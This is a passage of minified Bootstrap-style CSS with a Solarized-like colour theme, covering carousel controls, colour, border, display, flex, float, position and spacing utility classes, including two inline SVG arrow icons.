preserve-3d) or (transform-style: preserve-3d){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}}.carousel-item-next,.active.carousel-item-right{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next,.active.carousel-item-right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0)}}.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}}.carousel-control-prev,.carousel-control-next{position:absolute;top:0;bottom:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:0.5}.carousel-control-prev:hover,.carousel-control-prev:focus,.carousel-control-next:hover,.carousel-control-next:focus{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-prev-icon,.carousel-control-next-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,0.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.bg-primary{background-color:#B58900 !important}a.bg-primary:hover,a.bg-primary:focus,button.bg-primary:hover,button.bg-primary:focus{background-color:#826200 !important}.bg-secondary{background-color:#839496 !important}a.bg-secondary:hover,a.bg-secondary:focus,button.bg-secondary:hover,button.bg-secondary:focus{background-color:#697b7d !important}.bg-success{background-color:#2AA198 !important}a.bg-success:hover,a.bg-success:focus,button.bg-success:hover,button.bg-success:focus{background-color:#1f7972 !important}.bg-info{background-color:#268BD2 !important}a.bg-info:hover,a.bg-info:focus,button.bg-info:hover,button.bg-info:focus{background-color:#1e6ea7 !important}.bg-warning{background-color:#CB4B16 !important}a.bg-warning:hover,a.bg-warning:focus,button.bg-warning:hover,button.bg-warning:focus{background-color:#9d3a11 !important}.bg-danger{background-color:#D33682 !important}a.bg-danger:hover,a.bg-danger:focus,button.bg-danger:hover,button.bg-danger:focus{background-color:#b02669 !important}.bg-light{background-color:#FDF6E3 !important}a.bg-light:hover,a.bg-light:focus,button.bg-light:hover,button.bg-light:focus{background-color:#fae7b3 !important}.bg-dark{background-color:#073642 !important}a.bg-dark:hover,a.bg-dark:focus,button.bg-dark:hover,button.bg-dark:focus{background-color:#021014 !important}.bg-white{background-color:#fff !important}.bg-transparent{background-color:transparent !important}.border{border:1px solid #dee2e6 !important}.border-top{border-top:1px solid #dee2e6 !important}.border-right{border-right:1px solid #dee2e6 !important}.border-bottom{border-bottom:1px solid #dee2e6 !important}.border-left{border-left:1px solid #dee2e6 !important}.border-0{border:0 !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.border-primary{border-color:#B58900 !important}.border-secondary{border-color:#839496 !important}.border-success{border-color:#2AA198 !important}.border-info{border-color:#268BD2 !important}.border-warning{border-color:#CB4B16 !important}.border-danger{border-color:#D33682 !important}.border-light{border-color:#FDF6E3 !important}.border-dark{border-color:#073642 !important}.border-white{border-color:#fff !important}.rounded{border-radius:0.25rem !important}.rounded-top{border-top-left-radius:0.25rem !important;border-top-right-radius:0.25rem !important}.rounded-right{border-top-right-radius:0.25rem !important;border-bottom-right-radius:0.25rem !important}.rounded-bottom{border-bottom-right-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-left{border-top-left-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-circle{border-radius:50% !important}.rounded-0{border-radius:0 !important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}@media (min-width: 576px){.d-sm-none{display:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-sm-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 768px){.d-md-none{display:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-md-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 992px){.d-lg-none{display:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-lg-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 1200px){.d-xl-none{display:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-xl-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media print{.d-print-none{display:none !important}.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-print-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.8571428571%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}@media (min-width: 576px){.flex-sm-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-sm-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-sm-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-sm-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-sm-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-sm-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-sm-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-sm-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-sm-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-sm-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-sm-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-sm-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-sm-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-sm-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-sm-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-sm-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-sm-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-sm-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-sm-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-sm-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-sm-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-sm-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-sm-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-sm-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-sm-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-sm-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-sm-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-sm-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 768px){.flex-md-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-md-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-md-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-md-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-md-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-md-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-md-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-md-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-md-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-md-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-md-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-md-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-md-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-md-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-md-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-md-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-md-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-md-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-md-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-md-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-md-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-md-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-md-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-md-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-md-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-md-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-md-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-md-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 992px){.flex-lg-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-lg-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-lg-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-lg-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-lg-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-lg-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-lg-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-lg-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-lg-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-lg-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-lg-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-lg-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-lg-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-lg-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-lg-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-lg-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-lg-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-lg-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-lg-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-lg-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-lg-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-lg-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-lg-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-lg-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-lg-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-lg-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-lg-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-lg-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 1200px){.flex-xl-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-xl-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-xl-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-xl-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-xl-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-xl-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-xl-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-xl-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-xl-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-xl-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-xl-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-xl-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-xl-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-xl-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-xl-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-xl-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-xl-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-xl-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-xl-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-xl-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-xl-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-xl-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-xl-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-xl-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-xl-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-xl-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-xl-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-xl-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 576px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 992px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1200px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:-webkit-sticky !important;position:sticky !important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position: -webkit-sticky) or (position: sticky){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal;-webkit-clip-path:none;clip-path:none}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.mw-100{max-width:100% !important}.mh-100{max-height:100% !important}.m-0{margin:0 !important}.mt-0,.my-0{margin-top:0 !important}.mr-0,.mx-0{margin-right:0 !important}.mb-0,.my-0{margin-bottom:0 !important}.ml-0,.mx-0{margin-left:0 !important}.m-1{margin:0.25rem !important}.mt-1,.my-1{margin-top:0.25rem !important}.mr-1,.mx-1{margin-right:0.25rem !important}.mb-1,.my-1{margin-bottom:0.25rem !important}.ml-1,.mx-1{margin-left:0.25rem !important}.m-2{margin:0.5rem !important}.mt-2,.my-2{margin-top:0.5rem !important}.mr-2,.mx-2{margin-right:0.5rem !important}.mb-2,.my-2{margin-bottom:0.5rem !important}.ml-2,.mx-2{margin-left:0.5rem !important}.m-3{margin:1rem !important}.mt-3,.my-3{margin-top:1rem !important}.mr-3,.mx-3{margin-right:1rem !important}.mb-3,.my-3{margin-bottom:1rem !important}.ml-3,.mx-3{margin-left:1rem !important}.m-4{margin:1.5rem !important}.mt-4,.my-4{margin-top:1.5rem !important}.mr-4,.mx-4{margin-right:1.5rem !important}.mb-4,.my-4{margin-bottom:1.5rem !important}.ml-4,.mx-4{margin-left:1.5rem !important}.m-5{margin:3rem !important}.mt-5,.my-5{margin-top:3rem !important}.mr-5,.mx-5{margin-right:3rem !important}.mb-5,.my-5{margin-bottom:3rem !important}.ml-5,.mx-5{margin-left:3rem !important}.p-0{padding:0 !important}.pt-0,.py-0{padding-top:0 !important}.pr-0,.px-0{padding-right:0 !important}.pb-0,.py-0{padding-bottom:0 !important}.pl-0,.px-0{padding-left:0 !important}.p-1{padding:0.25rem !important}.pt-1,.py-1{padding-top:0.25rem !important}.pr-1,.px-1{padding-right:0.25rem !important}.pb-1,.py-1{padding-bottom:0.25rem !important}.pl-1,.px-1{padding-left:0.25rem !important}.p-2{padding:0.5rem !important}.pt-2,.py-2{padding-top:0.5rem !important}.pr-2,.px-2{padding-right:0.5rem !important}.pb-2,.py-2{padding-bottom:0.5rem !important}.pl-2,.px-2{padding-left:0.5rem !important}.p-3{padding:1rem !important}.pt-3,.py-3{padding-top:1rem !important}.pr-3,.px-3{padding-right:1rem !important}.pb-3,.py-3{padding-bottom:1rem !important}.pl-3,.px-3{padding-left:1rem !important}.p-4{padding:1.5rem !important}.pt-4,.py-4{padding-top:1.5rem !important}.pr-4,.px-4{padding-right:1.5rem !important}.pb-4,.py-4{padding-bottom:1.5rem !important}.pl-4,.px-4{padding-left:1.5rem !important}.p-5{padding:3rem !important}.pt-5,.py-5{padding-top:3rem !important}.pr-5,.px-5{padding-right:3rem !important}.pb-5,.py-5{padding-bottom:3rem !important}.pl-5,.px-5{padding-left:3rem !important}.m-auto{margin:auto !important}.mt-auto,.my-auto{margin-top:auto !important}.mr-auto,.mx-auto{margin-right:auto !important}.mb-auto,.my-auto{margin-bottom:auto !important}.ml-auto,.mx-auto{margin-left:auto !important}@media (min-width: 576px){.m-sm-0{margin:0 !important}.mt-sm-0,.my-sm-0{margin-top:0 !important}.mr-sm-0,.mx-sm-0{margin-right:0 !important}.mb-sm-0,.my-sm-0{margin-bottom:0 !important}.ml-sm-0,.mx-sm-0{margin-left:0 !important}.m-sm-1{margin:0.25rem !important}.mt-sm-1,.my-sm-1{margin-top:0.25rem !important}.mr-sm-1,.mx-sm-1{margin-right:0.25rem !important}.mb-sm-1,.my-sm-1{margin-bottom:0.25rem !important}.ml-sm-1,.mx-sm-1{margin-left:0.25rem !important}.m-sm-2{margin:0.5rem !important}.mt-sm-2,.my-sm-2{margin-top:0.5rem !important}.mr-sm-2,.mx-sm-2{margin-right:0.5rem !important}.mb-sm-2,.my-sm-2{margin-bottom:0.5rem !important}.ml-sm-2,.mx-sm-2{margin-left:0.5rem !important}.m-sm-3{margin:1rem !important}.mt-sm-3,.my-sm-3{margin-top:1rem !important}.mr-sm-3,.mx-sm-3{margin-right:1rem !important}.mb-sm-3,.my-sm-3{margin-bottom:1rem !important}.ml-sm-3,.mx-sm-3{margin-left:1rem !important}.m-sm-4{margin:1.5rem !important}.mt-sm-4,.my-sm-4{margin-top:1.5rem !important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem !important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem !important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem !important}.m-sm-5{margin:3rem !important}.mt-sm-5,.my-sm-5{margin-top:3rem !important}.mr-sm-5,.mx-sm-5{margin-right:3rem !important}.mb-sm-5,.my-sm-5{margin-bottom:3rem !important}.ml-sm-5,.mx-sm-5{margin-left:3rem !important}.p-sm-0{padding:0 !important}.pt-sm-0,.py-sm-0{padding-top:0 !important}.pr-sm-0,.px-sm-0{padding-right:0 !important}.pb-sm-0,.py-sm-0{padding-bottom:0 !important}.pl-sm-0,.px-sm-0{padding-left:0 !important}.p-sm-1{padding:0.25rem !important}.pt-sm-1,.py-sm-1{padding-top:0.25rem !important}.pr-sm-1,.px-sm-1{padding-right:0.25rem !important}.pb-sm-1,.py-sm-1{padding-bottom:0.25rem !important}.pl-sm-1,.px-sm-1{padding-left:0.25rem !important}.p-sm-2{padding:0.5rem !important}.pt-sm-2,.py-sm-2{padding-top:0.5rem !important}.pr-sm-2,.px-sm-2{padding-right:0.5rem !important}.pb-sm-2,.py-sm-2{padding-bottom:0.5rem !important}.pl-sm-2,.px-sm-2{padding-left:0.5rem !important}.p-sm-3{padding:1rem !important}.pt-sm-3,.py-sm-3{padding-top:1rem !important}.pr-sm-3,.px-sm-3{padding-right:1rem !important}.pb-sm-3,.py-sm-3{padding-bottom:1rem !important}.pl-sm-3,.px-sm-3{padding-left:1rem !important}.p-sm-4{padding:1.5rem !important}.pt-sm-4,.py-sm-4{padding-top:1.5rem !important}.pr-sm-4,.px-sm-4{padding-right:1.5rem !important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem !important}.pl-sm-4,.px-sm-4{padding-left:1.5rem !important}.p-sm-5{padding:3rem !important}.pt-sm-5,.py-sm-5{padding-top:3rem !important}.pr-sm-5,.px-sm-5{padding-right:3rem !important}.pb-sm-5,.py-sm-5{padding-bottom:3rem !important}.pl-sm-5,.px-sm-5{padding-left:3rem !important}.m-sm-auto{margin:auto !important}.mt-sm-auto,.my-sm-auto{margin-top:auto !important}.mr-sm-auto,.mx-sm-auto{margin-right:auto !important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto !important}.ml-sm-auto,.mx-sm-auto{margin-left:auto !important}}@media (min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0,.my-md-0{margin-top:0 !important}.mr-md-0,.mx-md-0{margin-right:0 !important}.mb-md-0,.my-md-0{margin-bottom:0 